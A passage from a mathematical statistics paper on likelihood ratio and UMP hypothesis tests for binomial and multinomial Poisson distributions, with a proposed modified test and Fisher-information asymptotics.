0 & {\rm if }\
P_{\theta_0}(x)/P_{\theta_1}(x)
\ge r,
\cr
1 & {\rm if }\
P_{\theta_0}(x)/P_{\theta_1}(x)
< r
\end{cases}
\]
where $r$ is a constant,
and the ratio
$P_{\theta_0}(x)/P_{\theta_1}(x)$ is called the likelihood ratio.
From the definition, any test $\phi$ satisfies
\begin{align}
(r P_{\theta_1} - P_{\theta_0})(\phi_{\mathop{\rm LR}\nolimits,r})\ge
(r P_{\theta_1} - P_{\theta_0})(\phi).
\end{align}
When a likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$ satisfies
\begin{align}
\alpha=
P_{\theta_0}(\phi_{\mathop{\rm LR}\nolimits,r}),
\end{align}
the test $\phi_{\mathop{\rm LR}\nolimits,r}$ is MP of level $\alpha$.
Indeed, when a test $\phi$ satisfies
$P_{\theta_0}(\phi) \le \alpha$,
\begin{align*}
&- \alpha + r P_{\theta_1}(\phi)
= - P_{\theta_0}(\phi)+ r P_{\theta_1}(\phi) \\
\le &- P_{\theta_0}(\phi_{\mathop{\rm LR}\nolimits,r})+ r P_{\theta_1}(\phi_{\mathop{\rm LR}\nolimits,r})
= - \alpha + r P_{\theta_1}(\phi_{\mathop{\rm LR}\nolimits,r}).
\end{align*}
Hence, $1- P_{\theta_1}(\phi)\ge 1- P_{\theta_1}(\phi_{\mathop{\rm LR}\nolimits,r})$.
This is known as Neyman-Pearson's fundamental lemma\footnote{}.
The likelihood ratio test is generalized to the
cases where $\Theta_0$ or $\Theta_1$
has at least two elements as
\[
\phi_{\mathop{\rm LR}\nolimits,r}(x):=
\begin{cases}
0 & {\rm if }\
\frac
{\sup_{\theta\in\Theta_0}P_\theta(x)}
{\sup_{\theta\in\Theta_1}P_\theta(x)}
\ge r,
\cr
1 & {\rm if }\
\frac
{\sup_{\theta\in\Theta_0}P_\theta(x)}
{\sup_{\theta\in\Theta_1}P_\theta(x)}
< r.
\end{cases}
\]
Usually, in order to guarantee a small risk probability,
the likelihood ratio $r$ is choosed as $r <1$.
\subsection{Monotone Likelihood Ratio Test}
In cases where the hypothesis is one-sided,
that is,
the parameter space $\Theta$ is an interval of $\Bbb R$
and
the hypothesis is given as
\begin{equation}
\label{eq:hypo-int}
H_0:\theta\ge\,\theta_0
\mbox{ versus }
H_1:\theta < \,\theta_0
,
\end{equation}
we often use so-called interval tests
for its optimality under some conditions
as well as for its naturalness.
When
the likelihood ratio $P_\theta(x)/P_\eta(x)$
is monotone increasing concerning $x$ for any $\theta,\eta$
such that $\theta > \eta$,
the likelihood ratio is called monotone.
In this case, the likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$
between $P_{\theta_0}$ and $P_{\theta_1}$
is UMP of level $\alpha:= P_{\theta_0}(\phi_{\mathop{\rm LR}\nolimits,r})$,
where $\theta_1$ is an arbitrary element
satisfying $\theta_1 < \theta_0$.
Indeed, many important examples satisfy this condition.
Hence, it is convenient to give its proof here.
From the monotonicity,
the likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$
has the form
\begin{align}
\phi_{\mathop{\rm LR}\nolimits,r}(x)=
\left\{
\begin{array}{ll}
1 & x < x_0 \\
0 & x \ge x_0
\end{array}
\right.\label{2-14-1}
\end{align}
with a threshold value $x_0$.
Since the monotonicity implies
$P_{\theta_0}(\phi_{\mathop{\rm LR}\nolimits,r})\ge P_{\theta}(\phi_{\mathop{\rm LR}\nolimits,r})$ for any
$\theta\in \Theta_0$,
it follows from Neyman Pearson Lemma that
the likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$ is MP of level $\alpha$.
From (\ref{2-14-1}),
the likelihood ratio test
$\phi_{\mathop{\rm LR}\nolimits,r}$ is also a likelihood ratio test between
$P_{\theta_0}$ and $P_{\eta}$,
where $\eta$ is another element
satisfying $\eta < \theta_0$.
Hence, the test $\phi_{\mathop{\rm LR}\nolimits,r}$ is also MP of level $\alpha$.
From the above discussion,
it is suitable to treat p-value based on the class of likelihood ratio tests.
In this case, when we observe $x_0$,
the p-value is equal to
\begin{align}
\int_{-\infty}^{x_0} P_{\theta_0}(d x).
\end{align}
\subsection{One-Parameter Exponential Family}\label{2-7-5}
In mathematical statistics,
exponential families are known as
a class of typical statistical models\cite{A-N}.
A family of probability distributions
$\{P_\theta|\theta\subset \Theta\}$
is called an exponential family
when there exists a random variable $x$ such that
\begin{align}
P_\theta(x):=P_0(x)
\exp(\theta x+g(\theta))
,\label{2-17-3}
\end{align}
where
$g(\theta):= -\log \int \exp(\theta x)P_0(d x)$.
It is known that this class of families includes,
for example,
the Poisson distributions, normal distributions, binomial distributions,
etc.
In this case,
the likelihood ratio
$\frac{\exp(\theta_0 x+g(\theta_0))}{\exp(\theta_1 x+g(\theta_1))}
= \exp((\theta_0-\theta_1) x+g(\theta_0)-g(\theta_1))$
is monotone concerning $x$ for $\theta_0 > \theta_1$.
Hence, the likelihood ratio test is UMP
in the hypothesis (\ref{eq:hypo-int}).
Note that this argument is valid even if we choose a different parameter
if the family has a parameter satisfying (\ref{2-17-3}).
For example, in the case of the normal distribution
$P_\theta(x)=
\frac{1}{\sqrt{2\pi V}}e^{- \frac{(x-\theta)^2}{2V}}
=
\frac{1}{\sqrt{2\pi V}}
e^{- \frac{x^2}{2V}+ \frac{\theta x}{V} - \frac{\theta^2}{2V}}$,
the UMP test $\phi_{\mathop{\rm UMP}\nolimits,\alpha}$ of the level $\alpha$
is given as
\begin{align}
\phi_{\mathop{\rm UMP}\nolimits,\alpha}(x):=
\left\{
\begin{array}{ll}
1 & \hbox{ if } x < \theta_0 - \epsilon_\alpha\sqrt{V} \\
0 & \hbox{ if } x \ge \theta_0 - \epsilon_\alpha\sqrt{V},
\end{array}
\right.
\end{align}
where
\begin{align*}
\Phi(-\epsilon_\alpha)=\alpha ,\quad
\Phi(\epsilon)= \int^{\epsilon}
_{-\infty} \frac{1}{\sqrt{2\pi}}
e^{-\frac{x^2}{2}}dx.
\end{align*}
The $n$-trial binomial distributions $
P_p^n(k)= \choose{n}{k}(1-p)^{n-k}p^k$
are also an exponential family
because
another parameter
$\theta:=\log \frac{p}{1-p}$
satisfies that
$P_p^n(k)=
\choose{n}{k}
\frac{1}{2^n}
e^{\theta k + n \log \frac{e^\theta}{1+e^\theta}}$.
Hence, in the case of
the $n$-trial binomial distribution,
the UMP test $\phi_{\mathop{\rm UMP}\nolimits,\alpha}^n$ of the level $\alpha$
is given as the randomized likelihood ratio test:
\begin{align}
\phi_{\mathop{\rm UMP}\nolimits,\alpha}(k):=
\left\{
\begin{array}{ll}
1 & \hbox{ if } x < k_0 \\
\gamma & \hbox{ if } x = k_0\\
0 & \hbox{ if } x > k_0
\end{array}
\right. \label{5-4-1}
\end{align}
where
$k_0$ is the maximum value $k'$ satisfying
$\alpha \ge\sum_{k=0}^{k'-1}\choose{n}{k}(1-\theta)^{n-k}\theta^k$,
and $\gamma$ is defined as
\begin{align}
\alpha
= \gamma \choose{n}{k_0}(1-\theta)^{n-k_0}\theta^{k_0}
+ \sum_{k=0}^{k_0-1}\choose{n}{k}(1-\theta)^{n-k}\theta^k.
\end{align}
Therefore, when $k$ is observed, the p-value is
$\sum_{k'=0}^k\choose{n}{k'}(1-\theta_0)^{n-k'}\theta_0^{k'}$.
When $n$ is sufficiently large,
the distribution $P_\theta^n(k)$
can be approximated by the normal distribution
with variance $n(1-\theta)\theta$.
Hence, the UMP test $\phi_{\mathop{\rm UMP}\nolimits,\alpha}^n$ of the level $\alpha$
is approximately given as
\begin{align}
\phi_{\mathop{\rm UMP}\nolimits,\alpha}^n(k)=
\left\{
\begin{array}{ll}
1 & \hbox{ if } \frac{k}{n} < \theta_0
-
\epsilon_\alpha \sqrt{\frac{\theta_0(1-\theta_0)}{n}}
\\
0 & \hbox{ if } \frac{k}{n} \ge \theta_0
-
\epsilon_\alpha \sqrt{\frac{\theta_0(1-\theta_0)}{n}} .
\end{array}
\right.
\end{align}
The p-value is also approximated to
\begin{align}
\Phi(\frac{k-n\theta_0}{\sqrt{n(1-\theta_0)\theta_0}}).
\label{3-6-1}
\end{align}
The Poisson distributions ${\rm Poi}(\mu)$
are also an exponential family
because another parameter
$\theta:= \log \mu$ satisfies
${\rm Poi}(\mu)(n)=
\frac{1}{n\!}e^{\theta n -e^\theta}$.
The UMP test $\phi_{\mathop{\rm UMP}\nolimits,\alpha}$ of the level $\alpha$
is characterized similarly to (\ref{5-4-1}).
When the threshold $\mu_0$ is sufficiently large
and
the hypothesis is given
\begin{equation}
\label{eq:hypo-int-g}
H_0:\mu\ge\mu_0
\mbox{ versus }
H_1:\mu < \mu_0,
\end{equation}
the UMP test $\phi_{\mathop{\rm UMP}\nolimits,\alpha}$ of the level $\alpha$
is approximately given as
\begin{align}
\phi_{\mathop{\rm UMP}\nolimits,\alpha}(n)=
\left\{
\begin{array}{ll}
1 & \hbox{ if } n < \mu_0
- \epsilon_\alpha\sqrt{\mu_0} \\
0 & \hbox{ if } n \ge \mu_0
- \epsilon_\alpha\sqrt{\mu_0}.
\end{array}
\right.
\end{align}
The p-value is also approximated to
\begin{align}
\Phi(\frac{n-\mu_0}{\sqrt{\mu_0}}),
\label{3-6-3}
\end{align}
Next, we consider
testing
the following hypothesis
in the case of the binomial Poisson distribution
Poi($\mu_1,\mu_2$):
\begin{equation}
\label{eq:hypo-int-2}
H_0:\frac{\mu_1}{\mu_1+\mu_2} \ge\theta_0
\mbox{ versus }
H_1:\frac{\mu_1}{\mu_1+\mu_2} < \theta_0.
\end{equation}
In this case, as is shown at
(\ref{5-14-1}) and (\ref{5-14-2})
in Section \ref{s4d},
the likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$ is
characetrized by
the likelihood ratio test of the binomial distributions
as
\begin{align}
\phi_{\mathop{\rm LR}\nolimits,r}(n_1,n_2)=
\phi_{\mathop{\rm LR}\nolimits,r}^{n_1+n_2}(n_1).
\end{align}
Hence, it is suitable to employ
the likelihood ratio test
$\phi_{\mathop{\rm LR}\nolimits,l=\alpha}(n_1,n_2)=
\phi_{\mathop{\rm UMP}\nolimits,\alpha}^{n_1+n_2}(n_1)$
with the level $\alpha$.
This is because the conditional distribution
$
\frac{{\rm Poi}(\mu_1,\mu_2)(n_1,n_2)}
{\sum_{k'=0}^{n_1+n_2}{\rm Poi}(\mu_1,\mu_2)(k',n_1+n_2-k')}
$ is equal to
the binomial distribution
$P_{\frac{\mu_1}{\mu_1+\mu_2}}^{n_1+n_2}(n_1)$.
Therefore, when we observe $n_1,n_2$,
the p-value of this class of likelihood ratio tests
is equal to
$\sum_{k=0}^{n_1}
\choose{n_1+n_2}{k}
\theta_0^k(1-\theta_0)^{n_1+n_2-k}$.
When the total number $n_1+n_2$ is sufficiently large,
the test $\phi_{\mathop{\rm LR}\nolimits,l=\alpha}$ of the level $\alpha$
is approximately given as
\begin{align}
\phi_{\mathop{\rm LR}\nolimits,l=\alpha}(n_1,n_2):=
\left\{
\begin{array}{ll}
1 & \hbox{ if } \frac{n_1}{n_1+n_2}
< \theta_0
-
\epsilon_\alpha
\sqrt{\frac{\theta_0(1-\theta_0)}{n_1+n_2}}
\\
0 & \hbox{ if } \frac{n_1}{n_1+n_2} \ge \theta_0
-
\epsilon_\alpha
\sqrt{\frac{\theta_0(1-\theta_0)}{n_1+n_2}} .
\end{array}
\right.
\end{align}
The p-value is also approximated to
\begin{align}
\Phi(\frac{n_1-(n_1+n_2)\theta_0}{\sqrt{(n_1+n_2)(1-\theta_0)\theta_0}}).
\label{3-6-1-h}
\end{align}
\subsection{Multi-parameter case}\label{s4d}
In the one-parameter case,
UMP tests can be often characterized by likelihood ratiotests.
However, in the multi-parameter case,
this type characterization is impossible generally,
and the UMP test does not always exist.
In this case, we have to choose our test among non-UMP tests.
One idea is choosing our test among likelihood ratio tests
because likelihood ratio tests always exist and
we can expect that these tests have good performances.
Generally,
it is not easy to give an explicit form of the likelihood ratio test.
When the family is
a multi-parameter exponential family,
the likelihood ratio test has a simple form.
A family of probability distributions
$\{P_{\vec{\theta}}|\vec{\theta}=(\theta^1, \ldots, \theta^m) \in \mathbb{R}^m\}$
is called an $m$-parameter exponential family
when there exists $m$-dimensional random variable $\vec{x}=(x_1, \ldots, x_m)$
such that
\[
P_{\vec{\theta}}(\vec{x}):=P_0(\vec{x})
\exp(\vec{\theta} \cdot \vec{x}+ g(\vec{\theta}))
,
\]
where
$g(\vec{\theta}):= -\log \int \exp(\vec{\theta} \cdot \vec{x})
P_0(d \vec{x})$.
However, this form is not sufficiently simple because
its rejection region is given by the a nonlinear constraint.
Hence, a test with a simpler form is required.
In the following, we discuss the likelihood ratio test in the case of
multi-nomial Poisson distribution.
After this discussion,
we propose an alternative test.
In an $m$-parameter exponential family,
the likelihood ratio test $\phi_{\mathop{\rm LR}\nolimits,r}$ has the form
\begin{align}
\phi_{\mathop{\rm LR}\nolimits,r}(\vec{x})=
\left\{
\begin{array}{ll}
0 \hbox{ if } &
\inf_{\vec{\theta}_1\in \Theta_1}D(P_{\vec{\theta}(\vec{x})}
\|P_{\vec{\theta}_1}) \\
&- \inf_{\vec{\theta}_0\in \Theta_0}
D(P_{\vec{\theta}(\vec{x})}\|P_{\vec{\theta}_0})
\ge \log r \\
1 \hbox{ if } &
\inf_{\vec{\theta}_1\in \Theta_1}D(P_{\vec{\theta}(\vec{x})}
\|P_{\vec{\theta}_1}) \\
&- \inf_{\vec{\theta}_0\in \Theta_0}D(P_{\vec{\theta}(\vec{x})}
\|P_{\vec{\theta}_0})
< \log r ,
\end{array}
\right.\label{2-16-1}
\end{align}
where the divergence $D(P_{\vec{\eta}}\|P_{\vec{\theta}})$ is defined as
\begin{align*}
D(P_{\vec{\eta}}\|P_{\vec{\theta}})
&:=
\int \log \frac{P_{\vec{\eta}}(\vec{x}')}{P_{\vec{\theta}}(\vec{x}')}
P_{\vec{\eta}}(d \vec{x}')\\
&=
(\vec{\eta}-\vec{\theta})\int \vec{x} P_{\vec{\eta}}(d \vec{x})
+ g(\vec{\eta})-g(\vec{\theta}),
\end{align*}
and $\vec{\theta}(\vec{x})$ is defined by \cite{A-N}
\begin{align}
\int \vec{x}' P_{\vec{\theta}(\vec{x})}(d \vec{x}')=\vec{x}.
\end{align}
This is because the logarithm of the likelihood function is calculated
as
\begin{align*}
&\log
\frac{\sup_{\vec{\theta}_0 \in \Theta_0} P_{\vec{\theta}_0}(\vec{x})}
{\sup_{\vec{\theta}_1 \in \Theta_1} P_{\vec{\theta}_1}(\vec{x})}\\
=&
\sup_{\vec{\theta}_0 \in \Theta_0}
\inf_{\vec{\theta}_1 \in \Theta_1}
\log \frac{P_{\vec{\theta}_0}(\vec{x})}{P_{\vec{\theta}_1}(\vec{x})}\\
=&\sup_{\vec{\theta}_0 \in \Theta_0}
\inf_{\vec{\theta}_1 \in \Theta_1}
(\vec{\theta}_0 - \vec{\theta}_1)\cdot \vec{x}
+g(\vec{\theta}_0)- g(\vec{\theta}_0) \\
=&\sup_{\vec{\theta}_0 \in \Theta_0}\inf_{\vec{\theta}_1 \in \Theta_1}
(\vec{\theta}_0 - \vec{\theta}_1)\cdot \int \vec{x}'
P_{\vec{\theta}(\vec{x})}(d \vec{x}')
+g(\vec{\theta}_0)- g(\vec{\theta}_0) \\
=&\sup_{\vec{\theta}_0 \in \Theta_0}\inf_{\vec{\theta}_1 \in \Theta_1}
D(P_{\vec{\theta}(\vec{x})}\|P_{\vec{\theta}_1})
- D(P_{\vec{\theta}(\vec{x})}\|P_{\vec{\theta}_0}) \\
=& \inf_{\vec{\theta}_1\in \Theta_1}
D(P_{\vec{\theta}(\vec{x})}\|P_{\vec{\theta}_1})
- \inf_{\vec{\theta}_0\in \Theta_0}D(P_{\vec{\theta}(\vec{x})}
\|P_{\vec{\theta}_0}).
\end{align*}
In addition, $\vec{\theta}(\vec{x})$
coincides with the MLE when $\vec{x}$ is observed.
Hence, when $\Theta= \Theta_0 \cup \Theta_1$,
the likelihood ratio test with the ratio $r<1$ is given by the rejection region:
\begin{align}
\left\{\vec{x}\left| \vec{\theta}(\vec{x})\in \Theta_1,
\inf_{\vec{\theta}_0\in \Theta_0 }
D(P_{\vec{\theta}(\vec{x})}\|P_{\vec{\theta}_0})
\ge -\log r\right.\right\}.
\end{align}
In the case of the multi-nomial Poisson distributions
Poi$(\vec{\mu})(\vec{k})
:= e^{-\sum_{i=1}^l \mu_i}
\frac{
\mu_1^{k_1} \cdots \mu_l^{k_m}}{k_1! \cdots k_m!}$,
which is an exponential family,
the divergence
is calculated as
\begin{align}
&D({\rm Poi}(\vec{\mu})\|
{\rm Poi}(\vec{\mu}'))\nonumber\\
=&
\sum_{i=1}^m (\mu_i'- \mu_i)+ \sum_{i=1}^m \mu_i \log \frac{\mu_i}{\mu_i'}
\label{5-14-3}\\
=&
(\sum_{i=1}^m\mu_i')- (\sum_{i=1}^m\mu_i)
(\sum_{i=1}^m\mu_i)\log \frac{\sum_{i=1}^m\mu_i}{\sum_{i=1}^m\mu_i'}\nonumber \\
&+
(\sum_{i=1}^m\mu_i)
D(
\frac{\vec{\mu}}{\sum_{i=1}^m\mu_i}\|
\frac{\vec{\mu'}}{\sum_{i=1}^m\mu_i'}),\label{5-14-2}
\end{align}
where $D(\vec{p}\|\vec{p'})$ is the divergence between the multinomial
distributions $\vec{p}$ and $\vec{p'}$.
When the hypothesis is given by (\ref{eq:hypo-int-2})
and
$\frac{n_1}{n_1+n_2}\le \theta_0$,
we have
\begin{align}
&\log
\frac{\sup_{\vec{\theta}_0 \in \Theta_0} P_{\vec{\theta}_0}
(n_1,n_2)
}
{\sup_{\vec{\theta}_1 \in \Theta_1} P_{\vec{\theta}_1}
(n_1,n_2)}\nonumber \\
=&
(n_1+n_2) D(P_{\frac{n_1}{n_1+n_2}}\| P_{\theta_0}
=
D(P_{\frac{n_1}{n_1+n_2}}^{n_1+n_2}
\| P_{\theta_0}^{n_1+n_2}),\label{5-14-1}
\end{align}
where $P_\theta$ is the binomial distribution with one observation
and $P_\theta^n$ is the binomial distribution with $n$ observations.
Then, the likelihood ratio test is given by the likelihood ratio test
of the binomial distributions.
In the following, we treat
two hypotheses given as
\begin{equation}
\label{eq:hypo-int-3}
H_0:\vec{w} \cdot \vec{\theta}\ge c_0
\mbox{ versus }
H_1:\vec{w} \cdot \vec{\theta} < c_0,
\end{equation}
with the condition $w_i \ge 0$,
Using the formula (\ref{5-14-3}),
and (\ref{eq:hypo-int-3}), we can calculate
the likelihood ratio test for a given ratio $r$.
Now, we calculate
the p-value concerning the class of likelihood ratio tests
when we observe the data $k_1, \ldots, k_m$.
When $\vec{w} \cdot \vec{k} < c_0$,
this p-value is equal to
\begin{align}
\max_{\vec{w}\cdot \vec{\mu}' = c_0}
{\rm Poi}(
\vec{\mu'}
)
({\cal A}_{R(\vec{k})}),\label{3-7-7}
\end{align}
where
\begin{align*}
{\cal A}_R&:=
\left\{
\vec{k'}
\left|
\begin{array}{l}
\displaystyle
\min_{\vec{w}\cdot \vec{\mu} = c_0}
\sum_{i=1}^m (\mu_i- k_i')+ \sum_{i=1}^m k_i' \log \frac{k_i'}{\mu_i} \ge
R \\
\vec{w} \cdot \vec{k}' < c_0
\end{array}
\right.\right\},\\
R(\vec{k})&:=
\min_{\vec{w}\cdot \vec{\mu} = c_0}
\sum_{i=1}^m (\mu_i- k_i)+ \sum_{i=1}^m k_i \log \frac{k_i}{\mu_i}
\end{align*}
because the minimum $R$ satisfying $\vec{k}\in {\cal A}_R$ is $R(\vec{K})$.
Since the calculation of (\ref{3-7-7})
is not so easy,
we consider its upper bound.
For this purpose, we define
the set ${\cal B}_R$ as
\begin{align}
{\cal B}_R :=
\left\{\vec{k}'\left|
\sum_{i=1}^m \frac{k_i'}{\tilde{\mu}_i(R)}
\le 1
\right.\right\},
\end{align}
where $\tilde{\mu}_i(R)$ are defined as follows:
\begin{align}
\frac{c_0}{w_i} - \tilde{\mu}_i(R)+
\tilde{\mu}_i(R)\log \frac{\tilde{\mu}_i(R) w_i}{c_0}&= R
\hbox{~~if }
R\le R_{0,i}
\label{2-6-12}
\\
\frac{c_0}{w_M} + \tilde{\mu}_i(R) \log \frac{w_M-w_i}{w_M}&= R
\hbox{~~if }
R > R_{0,i},
\label{2-6-11}
\end{align}
where
$w_M:= \max_i w_i$
and
$R_{0,i}:=\frac{c_0}{w_M}
+ \frac{c_0(w_M-w_i)}{w_i w_M}\log \frac{w_M-w_i}{w_M}$.
Note that $\tilde{\mu}_i(R)$ is a monotone decreasing function of $R$.
As is shown in Appendix \ref{3-6-10},
\begin{align}
{\cal A}_R \subset {\cal B}_R \label{5-2-1}.
\end{align}
Then, the p-value concerning likelihood ratio tests
is upperly bounded by
\begin{align}
\max_{\vec{w}\cdot \vec{\mu}' = c_0}
{\rm Poi}(\vec{\mu}')({\cal B}_{R(\vec{k})}) \label{2-6-13}.
\end{align}
However, it is difficult to choose the likelihood
$r$ such that the p-value is equal to a given risk probability $\alpha$
because the set ${\cal A}_R$ is defined by a non-linear constraint.
In order to resolve this problem, we propose to modify
the likelihood ratio test by using the set ${\cal B}_R$
instead of the set ${\cal A}_R$
because ${\cal B}_R$ is defined by a linear constraint
while ${\cal A}_R$ is by a non-linear constraint.
That is, we define
the modified test $\phi_{\mathop{\rm mod}\nolimits,R}$
as the test with the rejection region ${\cal B}_{R}$.
Among this kind of tests,
we can choose the test $\phi_{\mathop{\rm mod}\nolimits,R_\alpha}$
with the risk probability $\alpha$
by choosing $R_{\alpha}$ in the following way:
\begin{align}
\max_{\vec{w}\cdot \vec{\mu}' = c_0}
{\rm Poi}(\vec{\mu}')({\cal B}_{R_\alpha})= \alpha.
\end{align}
Indeed, the calculation of the probability
${\rm Poi}(\vec{\mu}')({\cal B}_{R})$
is easier than that of
the probability
${\rm Poi}(\vec{\mu}')({\cal A}_{R})$
because of the linearity of the constraint condition of ${\cal B}_R$.
Next, we calculate
the p-value of the set of the modified tests $\{\phi_{\mathop{\rm mod}\nolimits,\alpha}\}_{\alpha}$.
For an observed data $\vec{k}$, we choose
$R'(\vec{k})$ as $R'$ satisfying
\begin{align}
\sum_{i=1}^m \frac{k_i}{\tilde{\mu}_i(R')}=1.
\end{align}
The LHS is monotone increasing for $R'$
because each $\tilde{\mu}_i(R')$ is monotone decreasing for $R'$.
Thus, $R'(\vec{k})$ is the maximum $R'$ such that $\vec{k} \in {\cal B}_{R'}$.
Then, the p-value is equal to
$\max_{\vec{w}\cdot \vec{\mu}' = c_0}
{\rm Poi}(\vec{\mu}')({\cal B}_{R'(\vec{k})})$.
Further, the relation (\ref{5-2-1}) implies
$\vec{k} \in {\cal B}_{R(\vec{k})}$.
Hence, $R(\vec{k}) \le R'(\vec{k})$, which implies
${\cal B}_{R(\vec{k})} \supset {\cal B}_{R'(\vec{k})}$.
Therefore,
the p-value $\max_{\vec{w}\cdot \vec{\mu}' = c_0}
{\rm Poi}(\vec{\mu'})({\cal B}_{R'(\vec{k})})$
concerning the modified tests $\{\phi_{\mathop{\rm mod}\nolimits,\alpha}\}_{\alpha}$
is smaller than
the upper bound
$\max_{\vec{w}\cdot \vec{\mu}' = c_0}{\rm Poi}(\vec{\mu'})({\cal B}_{R(\vec{k})})$
of p-value concerning the likelihood ratio tests.
This test $\phi_{\mathop{\rm mod}\nolimits}$ coincides with the likelihood ratio test
in the one-parameter case.
\section{Asymptotic Theory}\label{s5}
\subsection{Fisher information}\label{2-7-4}
Assume that the data $x_1, \ldots, x_n$ obeys
the identical and independent distribution
of the same distribution family $p_\theta$
and $n$ is sufficiently large.
When the true parameter $\theta$ is close to $\theta_0$,
it is known that the meaningful information for $\theta$ is
essentially given as the random variable
$\frac{1}{n}\sum_{i=1}^n l_{\theta_0}(x_i)$,
where the logarithmic derivative $l_{\theta_0}(x_i)$
is defined by
\begin{align}
l_{\theta}(x):= \frac{d \log p_\theta(x)}{d \theta}.
\end{align}
In this case,
the random variable
$\frac{1}{n} \sum_{i=1}^n l_{\theta_0}(x_i)$
can be approximated by the normal distribution
with the expectation value $\theta -\theta_0$
and the variance $\frac{1}{n J_{\theta_0}}$,
where the Fisher information $J_{\theta}$ is defined as
$J_{\theta}:=
\int (l_{\theta}(x))^2 P_\theta (d x)$.
Hence,
the testing problem can be approximated by
the testing of this normal distribution family \cite{A-N,lehmann}.
That is, the quality of testing is approximately evaluated by
the Fisher information $J_{\theta_0}$ at the threshold $\theta_0$.
In the case of Poisson distribution family
Poi$(\theta t)$,
the parameter $\theta$ can be estimated by $\frac{X}{t}$.
The asymptotic case corresponds to the case with large $t$.
In this case, Fisher information is $\frac{t}{\theta}$.
When $X$ obeys the unknown Poisson distribution family Poi$(\theta t)$,
the estimation error
$\frac{X}{t}-\theta$ is close to the normal distribution
with the variance $\frac{\theta}{t}$,
{\it i.e.},
$\sqrt{t}(\frac{X}{t}-\theta)$ approaches to
the random variables obeying the normal distribution with
variance $\theta$.
That is, Fisher information corresponds to
the inverse of variance of the estimator.
This approximation can be extended to the multi-parameter case
$\{p_{\theta}|\theta \in \mathbb{R}^m\}$.
Similarly, it is known that
the testing problem can be approximated by
the testing of the normal distribution family
with the covariance matrix $(n J_{\theta})^{-1}$,
where the Fisher information matrix $J_{\theta;i,j}$
is given by
\begin{align}
J_{\theta;i,j}&:=
\int l_{\theta;i}(x) l_{\theta;j}(x) P_\theta (d x),\\
l_{\theta;i}(x)&:= \frac{\partial \log p_\theta(x)}{\partial \theta^i}.
\end{align}
When the hypotheses is given by (\ref{eq:hypo-int}),
the testing problem can be approximated by
the testing of the normal distribution family
with variance $\frac{\vec{w}\cdot J_{\theta_0}^{-1}\vec{w}}{n}$,
Indeed, the same fact holds for
the multinomial Poisson distribution family
Poi$(t \vec{\mu})$.
When the random variable $X_j$ is the $i$-th random variable,
the random variable $\sum_{j=1}^m \frac{\lambda_j}{\sqrt{t}}
(X_j - \mu_j)$ converges to the random variable obeying the normal distribution
with the variance $\sum_{j=1}^m \lambda_j^2 \mu_j $
in distribution:
\begin{align}
\sum_{j=1}^m \frac{\lambda_j}{\sqrt{t}}
(X_j - \mu_j) \stackrel{d}{\longrightarrow}\sum_{j=1}^m \lambda_j^2 \mu_j .
\label{3-7-1}
\end{align}
This convergence is compact uniform concerning the parameter
$\vec{\mu}$.
In this case, the Fisher information matrix $J_\mu$
is the diagonal matrix with the diagonal elements
$(\frac{t}{\mu_1},\ldots, \frac{t}{\mu_m})$.
When our distribution family is given as a subfamily
Poi$(t \mu_1(\theta), \ldots, t \mu_m(\theta))$,
the Fisher information matrix is ${\cal A}_\theta^t J_{\mu(\theta)}{\cal A}_\theta$,
where ${\cal A}_{\theta;i,j}=\frac{\partial \mu_j}{\partial \theta_i}$.
Hence,
when the hypotheses is given by (\ref{eq:hypo-int-3}),
the testing problem can be approximated by
the testing of the normal distribution family
with variance
\begin{align}
\vec{w}\cdot ({\cal A}_\theta^t J_{\mu(\theta)}{\cal A}_\theta)^{-1} \vec{w}.
\label{2-16-5}
\end{align}
In the following, we call this value Fisher information.
Based on this value,
the quality can be compared when we have several testing schemes.
\subsection{Multi-parametric Poisson distribution}
In the following,
we treat testing of the hypothesis (\ref{eq:hypo-int-3}) in
the multinomial Poisson distribution Poi($\vec{\mu}$)
by using normal approximation.
In this case,
by using $\tilde{\mu}_i$ defined in (\ref{2-6-12}) and (\ref{2-6-11}),
the upper bound (\ref{2-6-13})
of the p-value concerning
the likelihood ratio tests
is approximated to
\begin{align*}
& \max_{w\cdot \mu' = c_0}
\Phi\left(
\frac{1- \sum_{j=1}^m
\frac{\mu_j'}{\tilde{\mu}_j(R(\vec{k}))}
}
{\sqrt{
\sum_{i=1}^m
\frac{\mu_i' }{\tilde{\mu}_i(R(\vec{k}))^2}
}}
\right)\\
=&
\Phi\left(
\max_{w\cdot \mu' = c_0}
\frac{1- \sum_{j=1}^m
\frac{\mu_j'}{\tilde{\mu}_j(R(\vec{k}))}
}
{\sqrt{
\sum_{i=1}^m
\frac{\mu_i' }{\tilde{\mu}_i(R(\vec{k}))^2}
}}
\right),
\end{align*}
because this convergence
(\ref{3-7-1}) is compact uniform concerning the parameter
$\vec{\mu}$.
Letting $x_i(R)= \frac{c_0}{w_i \tilde{\mu}_i(R)}-1$
and $y_i(R)= \frac{c_0}{w_i \tilde{\mu}_i(R)^2}$,
we have
\begin{align}
\max_{w\cdot \mu' = c_0}
\frac{1- \sum_{j=1}^m
\frac{\mu_j'}{\tilde{\mu}_j(R(\vec{k}))}}
{\sqrt{
\sum_{i=1}^m
\frac{\mu_i'}{\tilde{\mu}_i(R(\vec{k}))^2}
}}
=
\max_{(x,y)\in Co(R(\vec{k}))}
\frac{-x}{\sqrt{y}},
\end{align}
where
$Co(R)$ is the convex hull of
$(x_1(R),y_1(R)), \ldots, (x_m(R),y_m(R))$.
As is shown in Appendix \ref{a5},
this value is simplified to
\begin{align}
- \min_{i,j}
z_{i,j}(R(\vec{k})),\label{5-5-1}
\end{align}
where
\begin{align}
z_{i,j}(R):=
\left\{
\begin{array}{ll}
\frac{x_i(R)}{\sqrt{y_i(R)}} &
\hbox{ if }
\frac{2x_j(R)y_i(R)}{x_i(R)y_i(R)+x_i(R)y_j(R) }\ge 1
\\
\frac{x_j(R)}{\sqrt{y_j(R)}} &
\hbox{ if }
\frac{2x_i(R)y_j(R)}{x_j(R)y_j(R)+x_j(R)y_i(R) }\ge 1
\\
\tilde{z}_{i,j}(R)
& \hbox{ otherwise},
\end{array}
\right.
\end{align}
where
\begin{widetext}
\begin{align}
\tilde{z}_{i,j}(R):=
\frac{2
(x_i(R) x_j(R)(y_i(R) +y_j(R))- x_i(R)^2 y_j(R)- x_j(R)^2 y_i(R))}{
\sqrt{(x_i(R)-x_j(R))(y_i(R)-y_j(R))}
